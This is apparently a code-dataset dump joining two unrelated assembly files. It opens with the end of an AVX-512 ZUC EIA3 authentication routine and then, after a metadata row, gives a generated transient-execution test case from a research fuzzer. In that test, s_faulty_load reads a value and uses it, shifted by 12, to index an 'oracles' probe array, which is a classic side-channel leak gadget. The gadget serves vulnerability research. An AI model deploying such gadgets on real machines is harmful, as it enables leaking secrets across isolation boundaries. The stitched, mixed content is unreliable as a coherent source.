vmovdqa64 zmm23, [KS + I*4*64*2 + 64*4]
vmovdqa64 zmm24, [KS + I*4*64*2 + 64*5]
vmovdqa64 zmm25, [KS + I*4*64*2 + 64*6]
vmovdqa64 zmm26, [KS + I*4*64*2 + 64*7]
vmovdqa64 [KS + I*4*64*2], zmm23
vmovdqa64 [KS + I*4*64*2 + 64], zmm24
vmovdqa64 [KS + I*4*64*2 + 64*2], zmm25
vmovdqa64 [KS + I*4*64*2 + 64*3], zmm26
%assign I (I + 1)
%endrep
;; - update tags
mov r12, 0x3333
mov r13, 0xCCCC
kmovq k1, r12
kmovq k2, r13
vmovdqu64 zmm4, [T] ; Input tags
vmovdqa64 zmm0, [rel shuf_mask_tags_0_4_8_12]
vmovdqa64 zmm1, [rel shuf_mask_tags_0_4_8_12 + 64]
; Get result tags for 16 buffers in different position in each lane
; and blend these tags into an ZMM register.
; Then, XOR the results with the previous tags and write out the result.
vpermt2d DIGEST_0{k1}{z}, zmm0, DIGEST_1
vpermt2d DIGEST_2{k2}{z}, zmm1, DIGEST_3
vpternlogq zmm4, DIGEST_0, DIGEST_2, 0x96 ; A XOR B XOR C
vmovdqu64 [T], zmm4
; Update data pointers
vmovdqu64 zmm0, [DATA]
vmovdqu64 zmm1, [DATA + 64]
vpaddq zmm0, [rel add_64]
vpaddq zmm1, [rel add_64]
vmovdqu64 [DATA], zmm0
vmovdqu64 [DATA + 64], zmm1
; Update array of lengths (if lane is valid, so length < UINT16_MAX)
vmovdqa ymm2, [LEN]
vpcmpw k1, ymm2, [rel all_ffs], 4 ; k1 -> valid lanes
vpsubw ymm2{k1}, [rel all_512w]
vmovdqa [LEN], ymm2
%endif ;; USE_GFNI == 0
FUNC_RESTORE
ret
%macro REMAINDER_16 1
%define %%KEY_SIZE %1 ; [constant] Key size (128 or 256)
%ifdef LINUX
%define T rdi
%define KS rsi
%define DATA rdx
%define LEN rcx
%define arg5 r8d
%else
%define T rcx
%define KS rdx
%define DATA r8
%define LEN r9
%define arg5 [rsp + 40]
%endif
%define DIGEST_0 zmm28
%define DIGEST_1 zmm29
%define DIGEST_2 zmm30
%define DIGEST_3 zmm31
%define DATA_ADDR r12
%define KS_ADDR r13
%define N_BYTES r14
%define OFFSET r15
%define MIN_LEN r10d
%define MIN_LEN_Q r10
%define IDX rax
%define TMP rbx
mov MIN_LEN, arg5
FUNC_SAVE
vpbroadcastw ymm0, MIN_LEN
; Get mask of non-NULL lanes (lengths not set to UINT16_MAX, indicating that lane is not valid)
vmovdqa ymm1, [LEN]
vpcmpw k1, ymm1, [rel all_ffs], 4
; Round up to nearest multiple of 32 bits
vpaddw ymm0{k1}, [rel all_31w]
vpandq ymm0, [rel all_ffe0w]
; Calculate remaining bits to authenticate after function call
vpsubw ymm2{k1}, ymm1, ymm0
vpxorq ymm3, ymm3
vpcmpw k2, ymm2, ymm3, 1 ; Get mask of lengths < 0
; Set to zero the lengths of the lanes which are going to be completed
vmovdqu16 ymm2{k2}, ymm3 ; YMM2 contain final lengths
vmovdqu16 [LEN]{k1}, ymm2 ; Update in memory the final updated lengths
; Calculate number of bits to authenticate (up to 511 bits),
; for each lane, and store it in stack to be used later
vpsubw ymm1{k1}{z}, ymm2 ; Bits to authenticate in all lanes (zero out length of NULL lanes)
sub rsp, 32
vmovdqu [rsp], ymm1
xor OFFSET, OFFSET
%if USE_GFNI != 1
vmovdqa xmm5, [bit_reverse_table_l]
vmovdqa xmm6, [bit_reverse_table_h]
vmovdqa xmm7, [bit_reverse_and_table]
%endif
vmovdqa xmm10, [data_mask_64bits]
;; Read first buffers 0,4,8,12; then 1,5,9,13, and so on,
;; since the keystream is laid out this way, which chunks of
;; 16 bytes interleved. First the 128 bytes for
;; buffers 0,4,8,12 (total of 512 bytes), then the 128 bytes
;; for buffers 1,5,9,13, and so on
%assign I 0
%rep 4
%assign J 0
%rep 4
; Read length to authenticate for each buffer
movzx TMP, word [rsp + 2*(I*4 + J)]
vpxor xmm9, xmm9
xor OFFSET, OFFSET
mov DATA_ADDR, [DATA + 8*(I*4 + J)]
%assign K 0
%rep 4
cmp TMP, 128
jb APPEND3(%%Eia3RoundsAVX512_dq_end,I,J)
;; read 16 bytes and reverse bits
vmovdqu xmm0, [DATA_ADDR + OFFSET]
%if USE_GFNI == 1
vgf2p8affineqb xmm8, xmm0, [rel bit_reverse_table], 0x00
%else
vpand xmm1, xmm0, xmm7
vpandn xmm2, xmm7, xmm0
vpsrld xmm2, 4
vpshufb xmm8, xmm6, xmm1 ; bit reverse low nibbles (use high table)
vpshufb xmm4, xmm5, xmm2 ; bit reverse high nibbles (use low table)
vpor xmm8, xmm4
%endif
; xmm8 - bit reversed data bytes
;; ZUC authentication part
;; - 4x32 data bits
;; - set up KS
%if K != 0
vmovdqa xmm11, xmm12
vmovdqu xmm12, [KS + (16*I + J*512) + OFFSET*4 + (16*4)]
%else
vmovdqu xmm11, [KS + (16*I + J*512) + (0*4)]
vmovdqu xmm12, [KS + (16*I + J*512) + (16*4)]
%endif
vpalignr xmm13, xmm12, xmm11, 8
vpshufd xmm2, xmm11, 0x61
vpshufd xmm3, xmm13, 0x61
;; - set up DATA
vpand xmm13, xmm10, xmm8
vpshufd xmm0, xmm13, 0xdc
vpsrldq xmm8, 8
vpshufd xmm1, xmm8, 0xdc
;; - clmul
;; - xor the results from 4 32-bit words together
vpclmulqdq xmm13, xmm0, xmm2, 0x00
vpclmulqdq xmm14, xmm0, xmm2, 0x11
vpclmulqdq xmm15, xmm1, xmm3, 0x00
vpclmulqdq xmm8, xmm1, xmm3, 0x11
vpternlogq xmm13, xmm14, xmm8, 0x96
vpternlogq xmm9, xmm13, xmm15, 0x96
add OFFSET, 16
sub TMP, 128
%assign K (K + 1)
%endrep
APPEND3(%%Eia3RoundsAVX512_dq_end,I,J):
or TMP, TMP
jz APPEND3(%%Eia3RoundsAVX_end,I,J)
; Get number of bytes
mov N_BYTES, TMP
add N_BYTES, 7
shr N_BYTES, 3
lea r11, [rel byte64_len_to_mask_table]
kmovq k1, [r11 + N_BYTES*8]
;; Set up KS
shl OFFSET, 2
vmovdqu xmm1, [KS + (16*I + J*512) + OFFSET]
vmovdqu xmm2, [KS + (16*I + J*512) + OFFSET + 16*4]
shr OFFSET, 2
vpalignr xmm13, xmm2, xmm1, 8
vpshufd xmm11, xmm1, 0x61
vpshufd xmm12, xmm13, 0x61
;; read up to 16 bytes of data, zero bits not needed if partial byte and bit-reverse
vmovdqu8 xmm0{k1}{z}, [DATA_ADDR + OFFSET]
; check if there is a partial byte (less than 8 bits in last byte)
mov rax, TMP
and rax, 0x7
shl rax, 4
lea r11, [rel bit_mask_table]
add r11, rax
; Get mask to clear last bits
vmovdqa xmm3, [r11]
; Shift left 16-N bytes to have the last byte always at the end of the XMM register
; to apply mask, then restore by shifting right same amount of bytes
mov r11, 16
sub r11, N_BYTES
; r13 = DATA_ADDR can be used at this stage
XVPSLLB xmm0, r11, xmm4, r13
vpandq xmm0, xmm3
XVPSRLB xmm0, r11, xmm4, r13
%if USE_GFNI == 1
vgf2p8affineqb xmm8, xmm0, [rel bit_reverse_table], 0x00
%else
; Bit reverse input data
vpand xmm1, xmm0, xmm7
vpandn xmm2, xmm7, xmm0
vpsrld xmm2, 4
vpshufb xmm8, xmm6, xmm1 ; bit reverse low nibbles (use high table)
vpshufb xmm3, xmm5, xmm2 ; bit reverse high nibbles (use low table)
vpor xmm8, xmm3
%endif
;; Set up DATA
vpand xmm13, xmm10, xmm8
vpshufd xmm0, xmm13, 0xdc ; D 0-3 || Os || D 4-7 || 0s
vpsrldq xmm8, 8
vpshufd xmm1, xmm8, 0xdc ; D 8-11 || 0s || D 12-15 || 0s
;; - clmul
;; - xor the results from 4 32-bit words together
vpclmulqdq xmm13, xmm0, xmm11, 0x00
vpclmulqdq xmm14, xmm0, xmm11, 0x11
vpclmulqdq xmm15, xmm1, xmm12, 0x00
vpclmulqdq xmm8, xmm1, xmm12, 0x11
vpternlogq xmm9, xmm14, xmm13, 0x96
vpternlogq xmm9, xmm15, xmm8, 0x96
APPEND3(%%Eia3RoundsAVX_end,I,J):
vinserti32x4 APPEND(DIGEST_, I), xmm9, J
%assign J (J + 1)
%endrep
%assign I (I + 1)
%endrep
;; - update tags
mov TMP, 0x00FF
kmovq k1, TMP
mov TMP, 0xFF00
kmovq k2, TMP
vmovdqu64 zmm4, [T] ; Input tags
vmovdqa64 zmm0, [rel shuf_mask_tags_0_1_2_3]
vmovdqa64 zmm1, [rel shuf_mask_tags_0_1_2_3 + 64]
; Get result tags for 16 buffers in different position in each lane
; and blend these tags into an ZMM register.
; Then, XOR the results with the previous tags and write out the result.
vpermt2d DIGEST_0{k1}{z}, zmm0, DIGEST_1
vpermt2d DIGEST_2{k2}{z}, zmm1, DIGEST_3
vpternlogq zmm4, DIGEST_0, DIGEST_2, 0x96 ; A XOR B XOR C
vmovdqa64 [T], zmm4 ; Store temporary digests
; These last steps should be done only for the buffers that
; have no more data to authenticate
xor IDX, IDX
%%start_loop:
; Update data pointer
movzx r11d, word [rsp + IDX*2]
shr r11d, 3 ; length authenticated in bytes
add [DATA + IDX*8], r11
cmp word [LEN + 2*IDX], 0
jnz %%skip_comput
mov r11, IDX
and r11, 0x3
shl r11, 9 ; * 512
mov r12, IDX
shr r12, 2
shl r12, 4 ; * 16
add r11, r12
lea KS_ADDR, [KS + r11]
; Read digest
mov r12d, [T + 4*IDX]
; Read keyStr[MIN_LEN / 32]
movzx TMP, word [rsp + 2*IDX]
mov r15, TMP
shr r15, 5
mov r11, r15
shr r15, 2
shl r15, (4+2)
and r11, 0x3
shl r11, 2
add r15, r11
mov r11, r15
and r11, 0xf
cmp r11, 12
je %%_read_2dwords
mov r11, [KS_ADDR + r15]
jmp %%_ks_qword_read
;; The 8 bytes of KS are separated
%%_read_2dwords:
mov r11d, [KS_ADDR + r15]
mov r15d, [KS_ADDR + r15 + (4+48)]
shl r15, 32
or r11, r15
%%_ks_qword_read:
; Rotate left by MIN_LEN % 32
mov r15, rcx
mov rcx, TMP
and rcx, 0x1F
rol r11, cl
mov rcx, r15
; XOR with current digest
xor r12d, r11d
%if %%KEY_SIZE == 128
; Read keystr[L - 1] (last dword of keyStr)
add TMP, (31 + 64)
shr TMP, 5 ; L
dec TMP
mov r11, TMP
shr r11, 2
shl r11, (4+2)
and TMP, 0x3
shl TMP, 2
add TMP, r11
mov r11d, [KS_ADDR + TMP]
; XOR with current digest
xor r12d, r11d
%endif
; byte swap and write digest out
bswap r12d
mov [T + 4*IDX], r12d
%%skip_comput:
inc IDX
cmp IDX, 16
jne %%start_loop
add rsp, 32
; Memcpy last 8 bytes of KS into start
add MIN_LEN, 31
shr MIN_LEN, 5
shl MIN_LEN, 2 ; Offset where to copy the last 8 bytes from
mov r12d, MIN_LEN
shr MIN_LEN, 4
shl MIN_LEN, (4+2)
and r12d, 0xf
add MIN_LEN, r12d
cmp r12d, 12
je %%_copy_2dwords
%assign %%i 0
%rep 4
%assign %%j 0
%rep 4
mov TMP, [KS + 512*%%i + 16*%%j + MIN_LEN_Q]
mov [KS + 512*%%i + 16*%%j], TMP
%assign %%j (%%j + 1)
%endrep
%assign %%i (%%i + 1)
%endrep
jmp %%_ks_copied
;; The 8 bytes of KS are separated
%%_copy_2dwords:
%assign %%i 0
%rep 4
%assign %%j 0
%rep 4
mov DWORD(TMP), [KS + 512*%%i + 16*%%j + MIN_LEN_Q]
mov [KS + 512*%%i + 16*%%j], DWORD(TMP)
mov DWORD(TMP), [KS + 512*%%i + 16*%%j + (48+4) + MIN_LEN_Q]
mov [KS + 512*%%i + 16*%%j + 4], DWORD(TMP)
%assign %%j (%%j + 1)
%endrep
%assign %%i (%%i + 1)
%endrep
%%_ks_copied:
vzeroupper
FUNC_RESTORE
ret
%endmacro
;;
;; extern void asm_Eia3RemainderAVX512_16(uint32_t *T, const void **ks, const void **data, uint64_t n_bits)
;;
;; @param [in] T: Array of digests for all 16 buffers
;; @param [in] KS : Array of pointers to key stream for all 16 buffers
;; @param [in] DATA : Array of pointers to data for all 16 buffers
;; @param [in] N_BITS (number data bits to process)
;;
align 64
MKGLOBAL(ZUC128_REMAINDER_16,function,internal)
ZUC128_REMAINDER_16:
endbranch64
REMAINDER_16 128
;;
;; extern void asm_Eia3_256_RemainderAVX512_16(uint32_t *T, const void **ks, const void **data, uint64_t n_bits)
;;
;; @param [in] T: Array of digests for all 16 buffers
;; @param [in] KS : Array of pointers to key stream for all 16 buffers
;; @param [in] DATA : Array of pointers to data for all 16 buffers
;; @param [in] N_BITS (number data bits to process)
;;
align 64
MKGLOBAL(ZUC256_REMAINDER_16,function,internal)
ZUC256_REMAINDER_16:
endbranch64
REMAINDER_16 256
; Following functions only need AVX512 instructions (no VAES, GFNI, etc.)
%if USE_GFNI == 0
;;
;; extern void asm_Eia3RemainderAVX512(uint32_t *T, const void *ks,
;; const void *data, uint64_t n_bits)
;;
;; Returns authentication update value to be XOR'ed with current authentication tag
;;
;; @param [in] T (digest pointer)
;; @param [in] KS (key stream pointer)
;; @param [in] DATA (data pointer)
;; @param [in] N_BITS (number data bits to process)
;;
align 64
MKGLOBAL(asm_Eia3RemainderAVX512,function,internal)
asm_Eia3RemainderAVX512:
endbranch64
%ifdef LINUX
%define T rdi
%define KS rsi
%define DATA rdx
%define N_BITS rcx
%else
%define T rcx
%define KS rdx
%define DATA r8
%define N_BITS r9
%endif
%define N_BYTES rbx
%define OFFSET r15
FUNC_SAVE
vmovdqa xmm5, [bit_reverse_table_l]
vmovdqa xmm6, [bit_reverse_table_h]
vmovdqa xmm7, [bit_reverse_and_table]
vmovdqa xmm10, [data_mask_64bits]
vpxor xmm9, xmm9
xor OFFSET, OFFSET
%assign I 0
%rep 3
cmp N_BITS, 128
jb Eia3RoundsAVX512_dq_end
;; read 16 bytes and reverse bits
vmovdqu xmm0, [DATA + OFFSET]
vpand xmm1, xmm0, xmm7
vpandn xmm2, xmm7, xmm0
vpsrld xmm2, 4
vpshufb xmm8, xmm6, xmm1 ; bit reverse low nibbles (use high table)
vpshufb xmm4, xmm5, xmm2 ; bit reverse high nibbles (use low table)
vpor xmm8, xmm4
; xmm8 - bit reversed data bytes
;; ZUC authentication part
;; - 4x32 data bits
;; - set up KS
%if I != 0
vmovdqa xmm11, xmm12
vmovdqu xmm12, [KS + OFFSET + (4*4)]
%else
vmovdqu xmm11, [KS + (0*4)]
vmovdqu xmm12, [KS + (4*4)]
%endif
vpalignr xmm13, xmm12, xmm11, 8
vpshufd xmm2, xmm11, 0x61
vpshufd xmm3, xmm13, 0x61
;; - set up DATA
vpand xmm13, xmm10, xmm8
vpshufd xmm0, xmm13, 0xdc
vpsrldq xmm8, 8
vpshufd xmm1, xmm8, 0xdc
;; - clmul
;; - xor the results from 4 32-bit words together
vpclmulqdq xmm13, xmm0, xmm2, 0x00
vpclmulqdq xmm14, xmm0, xmm2, 0x11
vpclmulqdq xmm15, xmm1, xmm3, 0x00
vpclmulqdq xmm8, xmm1, xmm3, 0x11
vpternlogq xmm13, xmm14, xmm8, 0x96
vpternlogq xmm9, xmm13, xmm15, 0x96
add OFFSET, 16
sub N_BITS, 128
%assign I (I + 1)
%endrep
Eia3RoundsAVX512_dq_end:
or N_BITS, N_BITS
jz Eia3RoundsAVX_end
; Get number of bytes
mov N_BYTES, N_BITS
add N_BYTES, 7
shr N_BYTES, 3
lea r10, [rel byte64_len_to_mask_table]
kmovq k1, [r10 + N_BYTES*8]
;; Set up KS
vmovdqu xmm1, [KS + OFFSET]
vmovdqu xmm2, [KS + OFFSET + 16]
vpalignr xmm13, xmm2, xmm1, 8
vpshufd xmm11, xmm1, 0x61
vpshufd xmm12, xmm13, 0x61
;; read up to 16 bytes of data, zero bits not needed if partial byte and bit-reverse
vmovdqu8 xmm0{k1}{z}, [DATA + OFFSET]
; check if there is a partial byte (less than 8 bits in last byte)
mov rax, N_BITS
and rax, 0x7
shl rax, 4
lea r10, [rel bit_mask_table]
add r10, rax
; Get mask to clear last bits
vmovdqa xmm3, [r10]
; Shift left 16-N bytes to have the last byte always at the end of the XMM register
; to apply mask, then restore by shifting right same amount of bytes
mov r10, 16
sub r10, N_BYTES
XVPSLLB xmm0, r10, xmm4, r11
vpandq xmm0, xmm3
XVPSRLB xmm0, r10, xmm4, r11
; Bit reverse input data
vpand xmm1, xmm0, xmm7
vpandn xmm2, xmm7, xmm0
vpsrld xmm2, 4
vpshufb xmm8, xmm6, xmm1 ; bit reverse low nibbles (use high table)
vpshufb xmm3, xmm5, xmm2 ; bit reverse high nibbles (use low table)
vpor xmm8, xmm3
;; Set up DATA
vpand xmm13, xmm10, xmm8
vpshufd xmm0, xmm13, 0xdc ; D 0-3 || Os || D 4-7 || 0s
vpsrldq xmm8, 8
vpshufd xmm1, xmm8, 0xdc ; D 8-11 || 0s || D 12-15 || 0s
;; - clmul
;; - xor the results from 4 32-bit words together
vpclmulqdq xmm13, xmm0, xmm11, 0x00
vpclmulqdq xmm14, xmm0, xmm11, 0x11
vpclmulqdq xmm15, xmm1, xmm12, 0x00
vpclmulqdq xmm8, xmm1, xmm12, 0x11
vpternlogq xmm9, xmm14, xmm13, 0x96
vpternlogq xmm9, xmm15, xmm8, 0x96
Eia3RoundsAVX_end:
mov r11d, [T]
vmovq rax, xmm9
shr rax, 32
xor eax, r11d
; Read keyStr[N_BITS / 32]
lea r10, [N_BITS + OFFSET*8] ; Restore original N_BITS
shr r10, 5
mov r11, [KS + r10*4]
; Rotate left by N_BITS % 32
mov r12, rcx ; Save RCX
mov rcx, N_BITS
and rcx, 0x1F
rol r11, cl
mov rcx, r12 ; Restore RCX
; XOR with previous digest calculation
xor eax, r11d
; Read keyStr[L - 1] (last double word of keyStr)
lea r10, [N_BITS + OFFSET*8] ; Restore original N_BITS
add r10, (31 + 64)
shr r10, 5 ; L
dec r10
mov r11d, [KS + r10 * 4]
; XOR with previous digest calculation and bswap it
xor eax, r11d
bswap eax
mov [T], eax
FUNC_RESTORE
ret
;;
;;extern void asm_Eia3Round64BAVX512(uint32_t *T, const void *KS, const void *DATA)
;;
;; Updates authentication tag T based on keystream KS and DATA.
;; - it processes 64 bytes of DATA
;; - reads data in 16 byte chunks and bit reverses them
;; - reads and re-arranges KS
;; - employs clmul for the XOR & ROL part
;;
;; @param [in] T (digest pointer)
;; @param [in] KS (key stream pointer)
;; @param [in] DATA (data pointer)
;;
align 64
MKGLOBAL(asm_Eia3Round64BAVX512,function,internal)
asm_Eia3Round64BAVX512:
endbranch64
%ifdef LINUX
%define T rdi
%define KS rsi
%define DATA rdx
%else
%define T rcx
%define KS rdx
%define DATA r8
%endif
FUNC_SAVE
vmovdqa xmm5, [bit_reverse_table_l]
vmovdqa xmm6, [bit_reverse_table_h]
vmovdqa xmm7, [bit_reverse_and_table]
vmovdqa xmm10, [data_mask_64bits]
vpxor xmm9, xmm9
%assign I 0
%rep 4
;; read 16 bytes and reverse bits
vmovdqu xmm0, [DATA + 16*I]
vpand xmm1, xmm0, xmm7
vpandn xmm2, xmm7, xmm0
vpsrld xmm2, 4
vpshufb xmm8, xmm6, xmm1 ; bit reverse low nibbles (use high table)
vpshufb xmm4, xmm5, xmm2 ; bit reverse high nibbles (use low table)
vpor xmm8, xmm4
; xmm8 - bit reversed data bytes
;; ZUC authentication part
;; - 4x32 data bits
;; - set up KS
%if I != 0
vmovdqa xmm11, xmm12
vmovdqu xmm12, [KS + (I*16) + (4*4)]
%else
vmovdqu xmm11, [KS + (I*16) + (0*4)]
vmovdqu xmm12, [KS + (I*16) + (4*4)]
%endif
vpalignr xmm13, xmm12, xmm11, 8
vpshufd xmm2, xmm11, 0x61
vpshufd xmm3, xmm13, 0x61
;; - set up DATA
vpand xmm13, xmm10, xmm8
vpshufd xmm0, xmm13, 0xdc
vpsrldq xmm8, 8
vpshufd xmm1, xmm8, 0xdc
;; - clmul
;; - xor the results from 4 32-bit words together
vpclmulqdq xmm13, xmm0, xmm2, 0x00
vpclmulqdq xmm14, xmm0, xmm2, 0x11
vpclmulqdq xmm15, xmm1, xmm3, 0x00
vpclmulqdq xmm8, xmm1, xmm3, 0x11
vpternlogq xmm13, xmm14, xmm8, 0x96
vpternlogq xmm9, xmm13, xmm15, 0x96
%assign I (I + 1)
%endrep
;; - update T
vmovq rax, xmm9
shr rax, 32
mov r10d, [T]
xor eax, r10d
mov [T], eax
FUNC_RESTORE
ret
%endif ; USE_GFNI == 0
;----------------------------------------------------------------------------------------
;----------------------------------------------------------------------------------------
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
| 34.410534 | 112 | 0.59698 |
283d53f2fad98e224e31c12dccc7148986f99b3b | 6,928 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_966.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_966.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_966.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r13
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x12851, %r10
nop
nop
nop
nop
nop
inc %rbx
movw $0x6162, (%r10)
nop
nop
nop
sub $49720, %rbp
lea addresses_UC_ht+0xff71, %r13
nop
nop
sub $62622, %r12
and $0xffffffffffffffc0, %r13
movaps (%r13), %xmm0
vpextrq $1, %xmm0, %r11
nop
nop
nop
add $17773, %rbp
lea addresses_normal_ht+0x133e5, %rsi
lea addresses_D_ht+0x1a2b1, %rdi
nop
nop
nop
nop
nop
cmp $48922, %rbp
mov $15, %rcx
rep movsw
nop
nop
nop
nop
inc %r12
lea addresses_WT_ht+0x1d4b1, %rdi
nop
inc %r10
mov (%rdi), %cx
nop
add %rbx, %rbx
lea addresses_UC_ht+0xf2bd, %r11
nop
nop
nop
nop
dec %rdi
mov $0x6162636465666768, %r10
movq %r10, %xmm3
and $0xffffffffffffffc0, %r11
movaps %xmm3, (%r11)
nop
nop
nop
nop
dec %rsi
lea addresses_normal_ht+0x1b1b1, %r11
clflush (%r11)
nop
nop
nop
nop
and %r13, %r13
vmovups (%r11), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rcx
nop
nop
nop
nop
xor $53505, %rax
lea addresses_UC_ht+0x7439, %r13
nop
nop
nop
nop
nop
sub %r10, %r10
mov $0x6162636465666768, %rax
movq %rax, %xmm0
vmovups %ymm0, (%r13)
nop
add $31918, %rcx
lea addresses_UC_ht+0xd2b1, %rsi
lea addresses_D_ht+0x1d715, %rdi
nop
nop
nop
sub $36008, %r10
mov $108, %rcx
rep movsq
nop
nop
nop
sub %rcx, %rcx
lea addresses_normal_ht+0xb6b1, %rbp
clflush (%rbp)
add %r13, %r13
mov (%rbp), %edi
xor %rbx, %rbx
lea addresses_D_ht+0x1e289, %rsi
lea addresses_D_ht+0xc1d9, %rdi
nop
nop
nop
nop
cmp $21707, %rbx
mov $94, %rcx
rep movsw
nop
nop
nop
nop
add %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r13
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r15
push %rbp
push %rbx
// Store
mov $0x3e270c0000000d71, %r15
nop
sub %r12, %r12
mov $0x5152535455565758, %r14
movq %r14, (%r15)
nop
nop
nop
and %r14, %r14
// Faulty Load
mov $0x10cc2900000002b1, %rbx
nop
nop
nop
nop
nop
sub $49693, %r15
mov (%rbx), %ebp
lea oracles, %r14
and $0xff, %rbp
shlq $12, %rbp
mov (%r14,%rbp,1), %rbp
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'dst': {'same': True, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 